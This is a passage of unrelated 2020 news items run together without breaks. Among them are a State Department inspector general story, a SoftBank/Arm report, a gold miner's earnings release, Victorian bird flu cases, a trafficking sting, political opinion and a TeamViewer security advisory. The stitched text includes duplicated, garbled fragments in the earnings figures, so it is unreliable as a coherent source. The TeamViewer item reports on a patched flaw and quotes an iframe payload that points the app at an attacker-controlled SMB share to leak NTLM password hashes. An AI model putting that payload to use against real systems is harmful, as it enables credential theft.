deputy, Diana Shaw. Linick was the fourth government inspector general removed by the Republican president in recent months, raising concern among Democrats and some of his fellow Republicans in Congress about curtailment of oversight. In a statement, Representative Eliot Engel, the Democratic chairman of the House of Representatives Foreign Affairs Committee, said he was concerned that the State Department had discussed the report before it was released. The people briefing the press were the subjects of the IGs probe, not the reports authors. This obvious pre-spin of the findings reeks of an attempt to distract and mislead, Engel said. Left-wing climate activists don't want Joe Biden getting advice from people with credentials they don't like and they're increasingly going public with their campaign. Why it matters: Nobody is confusing Biden with President Trump, and his climate platform goes much further than anything contemplated in the Obama years. Wider battles in public and behind the scenes loom within Democratic and progressive circles over staffing and nomination decisions. Already, per Bloomberg, some activists are pressing Biden to "distance himself from former Obama administration advisers they view as either too moderate or too cozy with the fossil-fuel industry." What's new: Later Tuesday, groups including Stop the Money Pipeline, 350.org and Climate Finance Action plan to stage demonstrations at offices of investment behemoth BlackRock in four cities. They don't want Biden to bring BlackRock execs into his administration if he wins, citing the company's investments in fossil fuels despite its sustainability initiative launched this year. The demonstrations will be in New York, Los Angeles, Boston and San Francisco. What's next: Look for these debates to intensify if Biden actually wins, which is the priority for the environmental movement, especially the biggest and most influential groups. The Sierra Club endorsed Biden yesterday, an expected move but one that signals a flurry of activity to come as the race intensifies this fall. "Along with its endorsement, the Sierra Club has launched the biggest grassroots political operation in the organizations 128-year history," the group said. Where it stands: Biden's network of aides and informal advisers is pretty broad. It spans former Obama-era hands but also outside activists, and he's conferred with officials like Washington Gov. Jay Inslee, whose call for a 100% clean power mandate by 2035 was recently added to Biden's platform. Quick take: "Personnel is policy," as Sen. Elizabeth Warren likes to say. Ashley Moores mom went on Facebook to wish her child a happy 27th birthday on April 9, but she was met with posts saying rest in peace instead. I sat in my car shaking, said Starlet Carbins, who was working as a nurse in Vermont at the time. What I later found out was that my child died on April 1. Masayoshi Son, chairman and chief executive officer of SoftBank Group Corp., gestures whilst speaking during a news conference in London, on Monday, July 18, 2016. SoftBank CEO Masayoshi Son confirmed Tuesday that his company is considering selling or listing the U.K. chip designer Arm Holdings ahead of schedule. The tech billionaire said in a press conference that SoftBank could either take Arm public ahead of the scheduled date of 2023, or sell the company onto another party. "We would like to closely study the best option," said Son during a SoftBank earnings briefing for its fiscal first quarter. The Japanese tech giant acquired Arm for around $32 billion in 2016. SoftBank Group owns 75% of the business while the SoftBank Vision Fund owns the remaining 25%. "It was originally a listed company and a re-listing is not that difficult actually" said Son, adding that Arm would need to make a "good performance" and collect the initial cost if it were to go down this route. Son added that there is also the option of selling a part, or some, or all of the company. He said the deal could be a mixture of cash and stock. Son confirmed that there has been some interest in the company but he refused to name which firms SoftBank has been talking to about a possible sale. Nvidia is one of the interested parties, according to people familiar with the matter. Last month, CNBC reported that SoftBank has hired Goldman Sachs to explore both an initial public offering and a sale of Arm. SoftBank posted a $12 billion quarterly profit Tuesday after valuations in SoftBank Vision Fund portfolio companies like Slack and Uber increased significantly. Matt Herron, a photojournalist who vividly memorialized the most portentous and promising moments from the front lines of the 1960s civil rights movement in the Deep South, died on Aug. 7 when a glider he was piloting crashed in Northern California. He was 89. His wife, Jeannine Hull Herron, said Mr. Herron was flying his new self-launching glider (he had learned to fly at 70) when it crashed about 125 miles northwest of Sacramento after taking off from Lampson Field in Lakeport, on Clear Lake. He died at the scene. The National Transportation Safety Board said the crash was under investigation. A child of the Depression and a protege of the Dust Bowl documentarian Dorothea Lange, Mr. Herron assembled a team of photographers to capture the clashes between white Southerners and Black protesters, aided by their white Freedom Rider allies, as they sought to claim the rights they had been legally granted a century before. (In US Dollars unless otherwise stated) TORONTO, Aug. 11, 2020 /PRNewswire/ - Superior Gold Inc. ("Superior Gold" or the "Company") (TSXV: SGI) announced today its financial and operating results for the second quarter 2020. This release should be read in conjunction with the Company's Management Discussion and Analysis ("MD&A") and consolidated financial statements for the quarter ended June 30, 2020. These documents will be posted on the Company's website at www.superior-gold.com and SEDAR at www.sedar.com. Second Quarter Highlights: Successfully maintained operations safely through COVID-19 pandemic Produced 15,177 ounces of gold, down 7% from the first quarter of 2020 and down 36% from the comparable period in 2019 Sold 15,536 ounces of gold at total cash costs 1 of $1,426 per ounce sold and all-in sustaining costs 1 of $1,547 per ounce sold which were below the record realized gold price 1 of $1,608 per ounce sold of per ounce sold and all-in sustaining costs of per ounce sold which were below the record realized gold price of per ounce sold Operating cash flow before working capital changes of $0.6 million and after the repayment of $1.9 million under the gold loan and after the repayment of under the gold loan Net loss for the period of $0.00 per share and adjusted net loss 1 of $0.01 per share per share and adjusted net loss of per share Ended the second quarter with $15.6 million in cash in cash Advanced underground optimization plan: Achieved record underground tonnes mined, an increase of 51% over the prior quarter Improved development rates, averaging 789 metres per month Enhanced mine plan accuracy by incorporating constrained wire-frame block models High-grade exploration drill results reported included (refer to Exploration Activities section): 56.3 g Au/t over 15.10 metres 40.4 g Au/t over 6.50 metres 10.2 g Au/t over 7.10 metres Highlights Subsequent to Quarter End: Announced a 29% increase in Measured and Indicated Resources and a 55% increase in Inferred Resources Announced a leadership change and the initiation of a Strategic Review Process Tamara Brown, Interim CEO of Superior Gold stated: "The highlight of our second quarter results was the stope tonnage mined which increased by 51% over the first quarter of this year and was the highest quarterly mining rate since we acquired the Plutonic underground mine in 2016. We continue to be encouraged by the underground physicals of the operations and believe, with the execution of our five-year underground plan, the stope grade will progressively improve over time. We are encouraged that despite continuing to invest in exploration and development and repaying our gold loan, our cash position remained largely unchanged from the first quarter, as we continue to benefit from the strong Australian dollar gold price, which is currently at all time highs. Over the next twelve months, we are focused on executing on a cost reduction program that targets higher grade stopes while improving productivity, which we expect will allow us to generate meaningful free cash flow for our shareholders as our operations continue to improve. We are very excited by our recent exploration results. During the quarter, we announced intersections of up to 56.3 g Au/t over 15.10 metres in the area between the Indian and Baltic Zones, which represents our best drill results since acquiring the asset (refer to the Press Release on June 17, 2020). Subsequent to quarter end, we announced our updated reserve and resource estimate in which we achieved a 29% increase in Measured and Indicated Resources to 1.59 million ounces and a 55% increase in Inferred Resources to 2.82 million ounces across our projects (refer to the Press Release on July 21, 2020). These results confirm that Plutonic is a large mineralized system with significant upside and long term potential." Subsequent to the quarter, the Company announced a leadership change and a strategic review process that will explore all alternatives to maximize value for our shareholders (refer to the Press Release on July 30, 2020). The Company does not intend to comment further unless the Board of Directors of the Company has approved a specific course of action or the Company has determined further disclosure is appropriate. Summary of Financial and Operational Results: Three months ended June 30, 2020 Six months ended June 30, 2020 All amounts in $ millions except where noted Financial Revenue 25.0 51.5 Cost of sales 24.2 47.9 General and administrative 0.7 1.7 Operating income (loss) (0.4) 0.7 Income (loss) before taxes (0.3) (4.1) Net income (loss) (0.4) (4.2) Earnings (loss) per share - basic and diluted (0.00) (0.04) Adjusted net income (loss)1 (0.6) (0.7) Adjusted net income (loss) per share - basic1 (0.01) (0.01) Cash flow from operations before working capital changes 0.6 1.7 Cash and cash equivalents 15.6 15.6 Weighted average number of common shares outstanding (basic) 97,134,473 97,100,231 Operational Gold produced (ounces) 15,177 31,528 Gold sold (ounces) 15,536 32,386 Total cash costs ($/ounce)1 1,426 1,356 All-in sustaining costs ($/ounce)1 1,547 1,479 Average realized price1 ($/ounce) 1,608 1,588 Total underground material mined (Kt) 183 304 Total material milled (Kt) 394 760 Grade milled (g/t gold) 1.4 1.6 Recovery (%) 84 83 Plutonic Gold Operations The Plutonic Gold Operations produced and sold 15,177 and 15,536 ounces of gold, respectively, for the second quarter of 2020. Total cash costs1 of $1,426/ounce sold and all-in sustaining costs1 of $1,547/ounce were below the realized gold price1 of $1,608/ounce for the second quarter of 2020. In comparison, 23,849 and 23,937 ounces of gold were produced and sold, respectively for the second quarter of 2019. Total cash costs1 of $1,222/ounce sold and all-in sustaining costs1 of $1,293/ounce were below the realized gold price1 of $1,320/ounce for the three-month period ending June 30, 2019. Total cash costs and all-in sustaining cash costs increased over the prior period primarily as a result of no contribution of tonnages milled from Hermes for the period (the Company ceased mining operations at Hermes in May 2019), a decrease in underground grade and the processing of other low grade stockpiles, partially offset by higher underground tonnes milled. The variance from the prior period for underground grade was the result of mining lower grade out of reserve and inferred material in some stopes. The Company generated net cash from operations after working capital changes of $0.6 million for the second quarter of 2020, after the repayment of $1.9 million under the gold loan. Exploration Activities On June 17, 2020, the Company announced results from the ongoing underground diamond drill program focused on reserve and resource expansion at its 100%-owned Plutonic Gold mine. The drilling was targeting potential extensions to the gold mineralization within the Indian Zone. The drilling was focused on the area to the northwest of the Indian Zone within an area that extends approximately 500 metres between the Indian and Baltic Zones which has yet to be fully drill tested. The following key findings were noted: Demonstrates the potential to extend and connect the Indian and Baltic Zones Drill hole UDD22011 intersected 56.3 g Au/t over 15.10 metres representing the best drill intersection ever achieved since the Company acquired the Plutonic underground mine The drilling was completed over a strike length of approximately 200 metres and a vertical extent of more than 100 metres. Mineralization remains open both up and down dip and along strike, resides close to existing infrastructure, and is only approximately 600 metres from surface On June 24, 2020, the Company announced results from drilling that targeted potential extensions to the gold mineralization in the area between the Baltic and Baltic Deeps Zones. The drilling was focused on the area vertically between the Baltic and Baltic Deeps mineralized zones which has not previously been tested. The following key findings were noted: Continues to demonstrate potential continuity of mineralization between Baltic and Baltic Deeps Zones and Baltic Deeps Zones Drill hole UDD22310 intersected 40.4 g Au/t over 6.50 metres including 232.0 g Au/t over 0.90 metres Drill hole UDD22309 intersected 12.4 g Au/t over 4.10 metres Mineralization remains open both up and down dip and along strike The Indian and Baltic Zones are key targets for future exploration activities. Outlook The Company intends to focus on establishing the Plutonic Gold Operations as a gold producer capable of producing at least 100,000 ounces of gold annually. To achieve this goal, the Company intends to: Continue to improve the reconciliation between the underground grade mined and reserve grade Improve mining practices to lower costs and increase production Increase operational efficiencies Continue optimization of the global resource model Advance open pit opportunities close to the mill On July 30, 2020, the Company announced revised 2020 production guidance as follows: 2020 Guidance Original Revised Production (oz of Gold) 80,000 - 90,000 60,000 - 70,000 Cash Costs ($/oz)1 $975 - $1,075 $1,250 - $1,350 All In Sustaining Costs ($/oz)1 $1,075 - $1,175 $1,350 - $1,450 Filing of Technical Report The Company is announcing the filing of a technical report to support its previously released Mineral Reserve and Resource update on its Plutonic Gold operations (the "Report") entitled, "2020 Mineral Resource and Reserve Estimate for the Plutonic Gold Operations". The Plutonic Gold operations are located in Western Australia and are comprised of the 100%-owned Plutonic underground gold mine, the 100%-owned Hermes open pit gold project, along with the Company's interest in the Bryah Basin joint venture. The Report, which is dated August 7, 2020 and is effective December 31, 2019, was prepared in compliance with National Instrument 43-101 - Standards for Disclosure for Mineral Projects ("NI 43-101") and is available under Superior Gold Inc.'s profile on SEDAR at www.sedar.com and on the Company's website at www.superior-gold.com. The Report was prepared by Stephen Hyland, FAusIMM, BSc (Geology); Matthew Keenan, MAusIMM (CP), BEng; and Ashutosh Srivastava, FAusIMM, B. Tech. (Mining Engineering); all of whom are "qualified persons" within the meaning of NI 43-101. With the exception of the open pit Mineral Reserve estimates, the Qualified Persons who have approved the disclosure of the sections of the Technical Report referred to above are independent of the Company within the meaning of NI 43-101. The Report supports the scientific and technical disclosure in the updated Mineral Resource and Mineral Reserve estimates contained in the Company's press release dated July 21, 2020. Conference Call Management will host a conference call and webcast on Tuesday August 11, 2020 at 10:00AM ET to discuss the second quarter 2020 financial and operating results. Conference Call and Webcast Date: Tuesday August 11, 2020 10:00AM ET Toll-free North America: (888) 231-8191 Local or International: (647) 427-7450 Webcast: https://produceredition.webcasts.com/starthere.jsp?ei=1343215&tp_key=66a388e6c0 Conference Call Replay Toll-free North America: (855) 859-2056 Local or International: (416) 849-0833 Passcode: 6264678 The conference call replay will be available from 1:00PM ET on August 11, 2020 until 23:59PM ET on August 25, 2020. The presentation will be available on the Company's website at www.superior-gold.com. _________________________________________________________ (1) This is a Non-IFRS measure. Refer to the Non-IFRS Performance Measures disclosure included in the Company's MD&A for a description and calculation of these measures. Qualified Person Scientific and technical information in this news release has been reviewed and approved by Keith Boyle, P.Eng., Chief Operating Officer of the Company, who is a "qualified person" as defined by National Instrument 43-101 (NI 43-101). Mr. Boyle is not independent of the Company within the meaning of NI 43-101. About Superior Gold Superior Gold is a Canadian based gold producer that owns 100% of the Plutonic Gold operations located in Western Australia. The Plutonic Gold operations include the Plutonic underground gold mine and central mill, the Hermes open pit projects and an interest in the Bryah Basin joint venture. Superior Gold is focused on expanding production at the Plutonic Gold operations and building an intermediate gold producer with superior returns for shareholders. Forward Looking Information This news release contains "forward-looking information" within the meaning of applicable securities laws that is intended to be covered by the safe harbours created by those laws. "Forward-looking information" includes statements that use forward-looking terminology such as "may", "will", "expect", "anticipate", "believe", "continue", "potential" or the negative thereof or other variations thereof or comparable terminology. The forward-looking information contained herein includes, without limitation, information related to the Company's plans to carry out a strategic review process, the potential outcome of such process and the intended maximization of shareholder value that the Company believes may result from such process. By identifying such information in this manner, the Company is alerting the reader that such information is subject to known and unknown risks, uncertainties and other factors that may cause the actual results, level of activity, performance or achievements of the Company to be materially different from those expressed or implied by such forward-looking information. Forward-looking information is not a guarantee of future performance and is based upon a number of estimates and assumptions of management at the date the statements are made. Furthermore, such forward-looking information involves a variety of known and unknown risks, uncertainties and other factors which may cause the actual plans, intentions, activities, results, performance or achievements of the Company to be materially different from any future plans, intentions, activities, results, performance or achievements expressed or implied by such forward-looking information. See "Risk Factors" in the Company's prospectus dated February 15, 2017 filed on SEDAR at www.sedar.com for a discussion of these risks. In addition, The Company is exposed to outbreaks or threats of outbreaks of viruses, other infectious diseases or other similar health threats, including the novel coronavirus ("COVID-19") outbreak, which could have a material adverse effect on the Company by causing operational and supply chain delays and disruptions, labour shortages, shutdowns, the inability to sell gold, capital markets volatility or other unknown but potentially significant impacts. The Company cannot accurately predict what effects these conditions will have on the Plutonic Gold Operations or the financial results of the Company, including uncertainties relating to travel restrictions to the Plutonic Gold Operations or otherwise and business closures that have been or may be imposed by governments. If an outbreak or threat of an outbreak of a virus or other infectious disease or other public health emergency occurs, it could have a material adverse effect on the Company's business, financial condition and results of operations. The Company cautions that there can be no assurance that forward-looking information will prove to be accurate, as actual results and future events could differ materially from those anticipated in such information. Accordingly, investors should not place undue reliance on forward-looking information as no assurance can be given that any of the events anticipated by the forward-looking information will transpire or occur, and if any of them do so, what benefits the Company will derive therefrom. Except as required by law, the Company does not assume any obligation to release publicly any revisions to forward-looking information contained in this news release to reflect events or circumstances after the date hereof. Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the Exchange) accepts responsibility for the adequacy or accuracy of this release. SOURCE Superior Gold Related Links https://www.superior-gold.com/ Two free range egg farms in Victoria have recorded positive cases of bird flu, plunging both properties into quarantine. Farms in Lethbridge and Bairnsdale have recorded positive tests of avian influenza in the past two weeks. Birds, equipment and products cannot be removed from either farm unless authorised by Agriculture Victoria, with both farms and others close to the effected farms told to keep all their birds indoors for 30 days. The Lethbridge farm tested positive to the H7N7 starin, which highly pathogenic and infected more than 21,000 birds in one of the sheds on the farm. Two free range poultry farms in Lethbridge and Bairnsdale in Victoria have recorded cases of avian influenza (stock image) Infected birds on the property have been destroyed, with the strain known to have a high death rate among poultry. The H7N7 outbreak is only the eighth time in 44 years an Australian poultry farm has confirmed cases of a highly pathogenic bird flu. HUMAN BIRD FLU SYMPTOMS: Cough Diarrhoea Respiratory difficulties Fever (over 100.4F or 38C) Headache Muscle aches Malaise Runny nose Sore throat Source: Healthline Advertisement The Bairnsdale farm has birds infected with the H5N2 strain, which effects chickens, ducks, geese, turkeys, guinea fowl, quail, pheasants and ostriches. Birds suffering from avian influenza experience symptoms including sudden death, difficulty breathing, swelling, diarrhoea and a drop in egg production, eating and drinking. Associate professor of veterinary epidemiology and public health from the Graham Centre for Agricultural Innovation at Charles Sturt University Marta Hernandez-Jover said the disease was likely to be carried into free range farms by wild birds. 'Free-range production poses a higher risk because it is more likely that the virus can be introduced from wild waterfowl to domestic poultry in these types of properties when compared to conventional indoor poultry raising,' she told ABC. The Victorian Department of Health and Human Services released a warning after the two outbreaks, though they claim the disease is not a risk for the community. 'On rare occasions, this strain of avian influenza has been known to infect and cause disease in humans who have had close contact with infected poultry,' the warning reads. All people working at the infected properties during the outbreak will wear personal protective equipment to prevent contracting the disease. Pictured: medical staff in PPE at Flemington Public housing flats on July 5 'Most people have only mild disease. Spread from humans to humans has been documented mostly in close contacts of confirmed cases. 'Only people who come into close contact with infected birds or their secretions, or are close contacts of confirmed cases, are considered at risk.' All staff and biosecurity officers working at the infected properties will be made to wear personal protective equipment to prevent the chance on contracting the disease. The warning noted that eating properly cooked poultry products such as chicken or eggs would not lead to a bird flu infection. Anyone who has come into contact with infected birds and experiences cold and flu symptoms has been urged to seek medical advice. Li Shengwu was fined last month for describing the Singapore government as "very litigious" and in possession of a "pliant court system" in a Facebook post The grandson of Singapore's founding leader Lee Kuan Yew and nephew of the current prime minister said Tuesday he will pay a fine for a Facebook post that questioned the independence of the city's judiciary. Li Shengwu, an academic based in the United States at Harvard University, was ordered to pay a Sg$15,000 ($11,000) fine or serve a week's jail by the High Court last month over the 2017 post in which he described the Singapore government as "very litigious and has a pliant court system". He said he would pay "in order to buy some peace and quiet" and to avoid giving the government an excuse to attack him and his family but added that he did not admit guilt. "The government claims that my friends-only Facebook post 'scandalized the judiciary'. The true scandal is the misuse of state resources to repress private speech," he wrote in a Facebook post on Tuesday. "I disagree that my words were illegal. Moreover, civilized countries should not fine or jail their citizens for private comments on the court system." The Attorney-General's Chambers had described his post as "an egregious and baseless attack" on the city's courts. Li is the eldest son of business executive Lee Hsien Yang, who has been at loggerheads with his brother, Prime Minister Lee Hsien Loong, over their father's legacy. He made the Facebook post as their family feud raged publicly following the death of the Lee family patriarch in 2015. Li's father joined an opposition party before Singapore's election last month and campaigned for its candidates, although he did not run. cla/mba/gle TeamViewer recently patched a high-risk vulnerability in its desktop app for Windows by releasing a new version of its software, which if exploited, could let remote attackers steal your system password and potentially exploit it. Whats more worrying is that this attack does not require the victims interaction and can be performed almost automatically. For those unaware, TeamViewer is a popular software application developed by the German company TeamViewer GmbH, for remote control, desktop sharing, online meetings, web conferencing and file transfer between computers. It is available for Microsoft Windows, Linux, macOS, Chrome OS, Android, iOS, Windows RT, Windows Phone 8, and BlackBerry operating systems. It is also possible to access a system running TeamViewer with a web browser. The severe vulnerability dubbed as CVE-2020-13699 was first discovered by Jeffrey Hofmann, a security researcher from Praetorian. According to the researcher, the vulnerability resides in TeamViewer for Windows in the way the application quotes its custom URI (Unquoted URI handler). The expert discovered that the issue could allow an attacker to force the software to relay an NTLM authentication request to the attackers system. In other words, an attacker can force TeamViewers URI scheme from a web page to trick the application installed on the victims system into initiating a connection to the attacker-owned remote SMB share. This triggers the SMB authentication process, which in turn, will leak the systems username, and NTLMv2 hashed version of the password to the attackers. In order to successfully exploit CVE 2020-13699, the attacker needs to embed a malicious iframe on a website and then trick victims into visiting that maliciously crafted URL. Once the victims click the link, TeamViewer will automatically launch its Windows desktop client and open a remote SMB share. An attacker could embed a malicious iframe in a website with a crafted URL (iframe src=teamviewer10: play \\attacker-IP\share\fake.tvs) that would launch the TeamViewer Windows desktop client and force it to open a remote SMB share, explained Jeffrey Hofmann in an advisory. Windows will perform NTLM authentication when opening the SMB share and that request can be relayed (using a tool like responder) for code execution (or captured for hash cracking). This vulnerability affects URI handlers teamviewer10, teamviewer8, teamviewerapi, tvchat1, tvcontrol1, tvfiletransfer1, tvjoinv8, tvpresent1, tvsendfile1, tvsqcustomer1, tvsqsupport1, tvvideocall1, and tvvpn1, Hofmann said. Upon disclosure of the vulnerability, the TeamViewer project has patched the flaw by quoting the parameters passed by the affected URI handlers e.g., URL:teamviewer10 Protocol C:\Program Files (x86)\TeamViewer\TeamViewer.exe %1. In order to patch the flaw, We implemented some improvements in URI handling relating to CVE 2020-13699, said TeamViewer in a statement. Thank you, Jeffrey Hofmann with Praetorian, for your professionalism, and following a responsible disclosure model. We are grateful that you reached out to us and that you could confirm the fix of your findings in the latest release. In order to address the issue, TeamViewer has released the version 15.8.3 and recommends its users to upgrade immediately to this version. 3 Soldiers Among 9 Arrested in Child Sex Trafficking Sting Two of the soldiers were based in Fort Hood Three U.S. military members, two of whom were stationed at Fort Hood, were among nine men arrested in a child sex trafficking sting in Texas, police announced on Monday. The Killeen Police Department announced that its Special Victims Unit, together with the Texas Department of Public Safety Human Trafficking Program, had carried out a 2-day child prostitution sting to locate and arrest subjects who were willing to make overt efforts to pay minors to engage in sexual acts. The nine men who were arrested had contacted officers through various social media platforms and made agreements for sexual acts with girls they believed were 15 or 16 years of age. The men had agreed to pay up via money, drugs, or alcohol. They were arrested without incident when they arrived at a predetermined location, the Killeen Police Department announced. The operation concluded with seven felony prostitution charges, two misdemeanor prostitution charges, and two guns were confiscated, the department added. The two soldiers stationed at Fort Hood were 25-year-old Anthony Xavier Antwon and 30-year-old Timmy Jones Jr., both of whom were charged with felony prostitution under 18. The the remaining military member, 32-year-old Pierre Jean, is currently stationed at a base in San Antonio, a police spokeswoman said, according to the New York Post. Jean was charged with class A prostitution. Others charged with felony prostitution under 18 include: Javier Angel Perez Coyotl, 40, of Austin; Brian Harley Flynn, 21, of Temple; Brandon Anthony Lee, 25, of Killeen; Dustin Edward Johnson, 42, of Lott; and Shaun Paul Moore, 39, of Kempner. The last man, Rakeem Jamal Nelson, 28, of Killeen, was charged with class A prostitution. Bond was set at $50,000 each for Antwon, Jones, Coyotl, Flynn, Lee, Johnson, and Moore, reported the Killeen Daily Herald. The American system cannot function without local government. Our federal government is responsible for foreign policy and regulating commerce, but the decisions that have the most direct, immediate impact upon our daily lives are left to the states, and by extension, the leaders of our local communities to whom much -- too much -- authority has been delegated. Local government has one of the greatest responsibilities within the American system: the security and protection of Americans. It falls upon local government, using local law enforcement, to protect our lives, liberty, and property. Responsive, responsible local government can be a blessing: potholes are repaired, crime is curbed and businesses thrive. Unresponsive, irresponsible local government is a nightmare. In the past several weeks, we have seen far too much of the latter. Indeed, the most significant unmasking caused by the ongoing riots and the ongoing pandemic scare, has been the complete ineffectualness of many of our local governments and politicians. When there is an instance of the police failing to protect and serve because of an institutional or ethical breakdown from within, it is a problem that needs to be rectified and made subject to reform. When the police are unable to effectively protect and serve all citizens because of budgetary woes, it is a problem that needs to be solved at the ballot box by the election of persons who know how to balance a budget and properly discern what is, and more importantly what isnt, an essential role of government. When the police are ordered not to protect and serve, but rather to ignore criminal acts, it is a damning indictment of local government and the leaders who inhabit its narrow-minded halls. When local government acts to defund, even dismantle, law enforcement, it is the undemocratic repudiation of the natural rights of law-abiding citizens and proof positive that our local leaders in government are lacking in the necessary courage and discernment required to lead. Los Angeles Mayor Eric Garcetti is a perfect example of a failing local leader in way over his head. Garcetti is the son of Gil Garcetti, whom Angelenos will fondly remember as the district attorney who made the fateful and political decision to file the case against O.J. Simpson in downtown Los Angeles even though the murders took place within the Santa Monica Judicial District. Prior to becoming mayor, Eric Garcetti parlayed his considerable experience in extended academia and being Gil Garcettis son into a seat on the LA City Council. This is a background perfectly suited for someone who has shown an astonishing lack of regard for working citizens, the businesses on which they rely, or the property they own during the present crises. Capping a long, impressive streak of dumb proclamations and declarations, including suggesting that members of the LAPD put down their batons and walk hand-in-hand with the same rioters who were then torching LAPD vehicles, attacking officers, and looting numerous businesses, Garcetti recently declared that water and power would be shut off to any residence caught hosting a large house party. What exactly constitutes a gathering that is too large? Can/should a mayor shut off water and power to privately owned residences during the dog days of summer, two utilities that the State of California and Garcettis own Housing Authority have explicitly deemed essential services necessary for habitation? Is this an appropriate area of focus for an already overextended municipal police force potentially facing a budget cut of $150 million thanks to a myopic city council? Flickr, Cave Canem These are inconvenient questions for a mayor far too busy serving as a co-chair in Joe Bidens campaign to concern himself with the welfare of law-abiding citizens depending on him for the protection of their lives, liberties and property. Here is an additional one: is Garcetti responsibly exercising his power in a manner that is reasonable in proportion to the situation and respectful of his constituents constitutional rights or is this simply another example of petty overreaching by a small-minded politician? Well, it is COVID after all, and orange man bad, so naturally Garcetti tossed what trace amount of sense he had remaining overboard. Garcetti is hardly the only not ready for prime-time player currently running local government in circles. Like something akin to being given the special sunglasses by Rowdy Roddy Piper in They Live and discovering that the local ruling class are actually aliens sponging off an oblivious society, we are now awakening to the reality that our local governments are littered with lightweights who are not made of the sturdy timber required to withstand the normal pressures of city hall, much less the Molotov cocktails of Antifa. Another prime example is Mayor Todd Wheeler of Portland, who chose to side with armed and violent rioters as opposed to the law enforcement officials desperately trying to restore order and prevent further bedlam -- all while being simultaneously heckled by those very same rioters. Wheeler is that substitute teacher, the one we all remember from middle school, who tried desperately to be cool as he was being lied to, manipulated, and pelted with spitballs by rambunctious students who could smell fear and weakness like prowling wolves. I could go on and on and on with more examples, but you already know the sorry state of local government all too well, not because you have seen it on CNN, but because it is now affecting your lives, liberties, and property. Let these events be a lesson for all of us: local elections are important and we can no longer entrust any level of government to incompetents. It is we, the people, who ultimately suffer the consequences of failing local government. It is only we, the people, who can elect better leaders in the future. Sen. Sasse Responds to President Trump After Gone Rogue Accusation Sen. Ben Sasse (R-Neb.) on Monday challenged President Donald Trumps claim that he had gone rogue with opposition to the executive orders the president signed over the weekend. Sasse, a first-term lawmaker running for re-election, said he doesnt personally dislike the president but believes the orders were illegal. No presidentwhether named Obama or Trump or Biden or AOChas unilateral power to rewrite immigration law or to cut taxes or to raise taxes. This is because America doesnt have kings, Sasse wrote in a statement he posted on social media and signed Gym Rat. The note came in response to Trumps tweet calling Sasse a RINO, or Republican in name only. After scoring an endorsement from the president, Sasse has gone rogue, again, Trump alleged, adding: This foolishness plays right into the hands of the Radical Left Dems! Trump signed four executive orders on Saturday, bolstering unemployment payments, deferring the payroll tax for most Americans, extending student loan relief, and directing officials to study whether measures temporarily halting all residential evictions are reasonably necessary. President Donald Trump signs executive orders extending coronavirus economic relief, during a news conference in Bedminster, N.J., on Aug. 8, 2020. (Jim Watson/AFP via Getty Images) Sasse joined Democrats in harsh criticism of the president, calling the theory behind the actions unconstitutional slop. President Obama did not have the power to unilaterally rewrite immigration law with DACA, and President Trump does not have the power to unilaterally rewrite the payroll tax law. Under the Constitution, that power belongs to the American people acting through their members of Congress, Sasse said. White House press secretary Kayleigh McEnany told reporters on Monday that the presidents actions were entirely within the executive capacity of the president, unlike Obamas DACA action. McEnany cited specific laws, including the Higher Education Relief Opportunities for Students Act of 2003, or 20 U.S.C. 1098(bb); the Stafford Act, or 42 U.S.C. 5174; and 26 U.S.C. 7508A. Sasse on Monday challenged Trumps claim regarding the endorsement, saying he never asked for Trumps endorsement and did not use it in his campaign. I understand youve been frustrated I didnt join your re-election committee & that I ran a primary ad admitting to Nebraskans that we sometimes agree and sometimes disagree, Sasse wrote. He linked to a campaign advertisement that includes a narrator saying Sasse ticked off a lot of folks over his six years in office, including even the president from his own party. The lawmaker said he has never asked Trump for anything personal. I have pleaded with you but for bigger things like better U.S. policy on the Chinese Communist Partyand on this, youve done a very good job, he added. Midland County Commissioners delayed proposing a property tax rate for next year after some confusion during Mondays Commissioners Court meeting over changes that went into effect with the passing of Senate Bill 2. The main cause for confusion was uncertainty over whether the court would be allowed to later set a tax rate higher than what they had proposed. Last year, for example, commissioners proposed a rate of 12.25 cents per $100 evaluation and later adopted a rate of 12.8. But with the passing of SB 2, also known as the Texas Property Tax Reform and Transparency Act, the Commissioners Court is no longer able to increase the tax rate after its proposed, County Tax Assessor-Collector Karen Hood said during the meeting. Several commissioners raised concerns over that stipulation, saying changes to the 2021 county budget, which will not be adopted until September, may make it necessary to adjust the tax rate. County Judge Terry Johnson proposed in his budget to set the tax rate at the no new revenue rate known as the effective rate before SB 2 which would bring in the same amount of property tax revenue as the previous year. That rate would be 12.88 cents per $100 evaluation, slightly above last years rate of 12.8. The county is estimating the no new revenue rate would bring in about $45 million in property taxes, County Auditor Veronica Morales said during the meeting, though she noted that was a conservative estimate. Morales said she expects the county to generate $38 million in sales tax revenue next year. SB 2 also changed the number of public hearings a county is required to hold before adopting a new tax rate. Previously, two public hearings were required with any proposed tax rate. Now, however, public hearings are not required if the proposed rate is equal to the no new revenue rate. The county must hold one public hearing if the proposed rate is higher than the no new revenue rate but lower than the cap that would trigger an election previously called the rollback rate before SB 2. SB 2 set that cap at 3.5 percent, meaning if the proposed rate would bring in more than 3.5 percent revenue than the previous year, an election is automatically triggered. There was previously an 8 percent cap on year-over-year revenue before voter approval is needed. The Commissioners Court last year set the rate just below that 8 percent cap in anticipation of the lower voter approval rate taking effect this year; the rate that would have triggered an election last year was 12.85. Commissioner Randy Prude made a motion during Mondays meeting to propose a rate of 12.88, the no new revenue, despite the possibility of not being able to later raise it, saying he didnt foresee the county needing a higher rate, but the motion died for lack of a second. The Commissioners Court discussed proposing a rate during the next regular meeting on Aug. 24, but they have until September to propose a rate, according to County Attorney Russell Malm. Now, with the country entering the phase of Unlock, Salman has finally returned back to the city. The actor was snapped late last night in his car before he made his way inside his residence. Take a look at the pictures below. The coronavirus pandemic is something that nobody saw coming. The sudden rise in the number of cases forced the government of various countries to enforce a state of lockdown. When the Indian government announced a lockdown, actor Salman Khan was in his farm house in Panvel in the company of close friends and family. While many who were away from home, arranged for permission to travel back, Salman decided to avoid putting his family at risk and decided to spend the lockdown at the farmhouse. The NATO Support and Procurement Agency (NSPA) has delivered the second MMF aircraft to the Multinational MRTT Unit. Luxembourg belongs to the MRTT programme, alongside Belgium, the Netherlands, Germany, Czechia and Norway. NATO have planned to launch eight new aircraft in total by the end of 2024 as part of the programme, which was launched in the Grand Duchy and the Netherlands in July 2016. The planes will be stationed in Eindhoven and Cologne. Great news for our MMF partner nations After completing its acceptance process, our second Multinational MRTT Fleet (MMF) aicraftis in the air & will be soon welcomed by the @A330_MMU at its home base in Eindhoven More info: https://t.co/7ysTxX34d6 pic.twitter.com/DDcpib82Gs NATO Support and 